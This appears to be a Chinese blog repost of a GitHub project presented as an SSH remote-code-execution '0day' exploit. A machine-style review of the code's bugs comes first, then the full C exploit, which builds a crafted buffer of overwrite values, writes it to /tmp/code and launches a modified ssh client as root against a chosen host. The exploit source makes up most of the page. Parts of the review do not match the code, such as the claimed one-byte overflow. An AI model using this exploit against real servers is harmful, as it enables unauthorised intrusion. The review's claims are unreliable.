SSH 远程代码执行 0day漏洞 | ClumsyLulz
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/SleepTheGod/SSH-Remote-Code-Execution
项目介绍
所提供的代码是一个C语言程序,它接收输入参数并生成一个数据包,通过SSH协议发送到一个服务器。该程序创建一个缓冲区来存储要发送的数据,然后将其写入一个文件中。然后,它创建一个命令行字符串,使用 "system "函数执行与指定主机和端口的SSH连接。问题。该代码有几个问题已被发现。该程序在malloc函数中包含一个缓冲区溢出的漏洞,即只为缓冲区分配了28个字节,但却向其写入了29个字节。这可能导致内存损坏或分段故障。返回地址的计算是不正确的。程序使用数据包长度的值而不是缓冲区的大小来确定返回地址,导致了一个不正确的值。返回地址的printf语句中的格式字符串不正确,导致未定义行为。程序没有检查 "open "和 "write "函数的返回值,这可能导致数据丢失或无法将缓冲区写入文件。程序没有释放分配给 "buffer "和 "ssh "指针的内存,这可能导致内存泄漏。该程序使用 "system "函数来执行SSH命令,这可能导致安全漏洞,因为它允许以高权限执行任意命令。建议。为了解决上述问题,提出以下建议。将缓冲区分配的大小增加到29字节,以避免缓冲区溢出问题。通过使用缓冲区大小而不是数据包长度,纠正返回地址的计算。纠正返回地址的printf语句中的格式字符串。检查 "open "和 "write "函数的返回值,并适当地处理错误。释放分配给 "buffer "和 "ssh "指针的内存。将 "system "函数替换为更安全的替代函数,如 "execvp",以避免潜在的安全漏洞。建议对该程序进行这些修改,以确保其稳定性和安全性。
EXP
Exploit.cpp
/* Made by Taylor Newsome UwU Rarw X3 <3 */
/* <Twitter.com/Clumsylulz> */
/* Remote Code Execution Exploit for SSH */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
/* Path to modified ssh */
#define PATH_SSH "./ssh"
int main(int argc, char *argv[])
{
int f;
int port;
unsigned long addr, *ptr;
char *buffer, *aux, ch, *ssh;
int i;
if (argc < 8)
{
printf("\nUsage: %s <saved eip> <count> <packet length> <username length> <host> <port> <h(i)>\n\n", argv[0]);
fflush(stdout);
exit(0);
}
port = atoi(argv[6]);
buffer = (char *) malloc(28);
ptr = (unsigned long *) buffer;
*(ptr++) = 1543007393 + strtoul(argv[1], 0, 10);
*(ptr++) = 0;
*(ptr++) = strtoul(argv[7], 0, 10);
*(ptr++) = 0;
*(ptr++) = 16520 + strtoul(argv[2], 0, 10);
*(ptr++) = strtoul(argv[3], 0, 10);
*(ptr++) = strtoul(argv[4], 0, 10);
for (i = 0; i < 28; i += 4)
{aux = buffer + i;
ch = *aux;
*aux = *(aux + 3);
*(aux + 3) = ch;
ch = *(aux + 1);
*(aux + 1) = *(aux + 2);
*(aux + 2) = ch;
}
printf("\nSaved Eip: &h + %u", 1543007393 + strtoul(argv[1], 0, 10));
printf("\nReturn Address: 0x%lx", (16520 + strtoul(argv[2], 0, 10))/8);
printf("\nPacket Length: %u", (strtoul(argv[3], 0, 10) + 8) & ~7);
printf("\nUsername Length: %u\n\n", strtoul(argv[4], 0, 10));
fflush(stdout);
f = open("/tmp/code", O_RDWR | O_CREAT, S_IRWXU);
write(f, buffer, 28);
close(f);
ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));
strcpy(ssh, PATH_SSH);
sprintf(ssh + strlen(PATH_SSH), " -p %i -v -l root %s", port, argv[5]);
printf("%s\n", ssh);
system(ssh);
exit(0);
}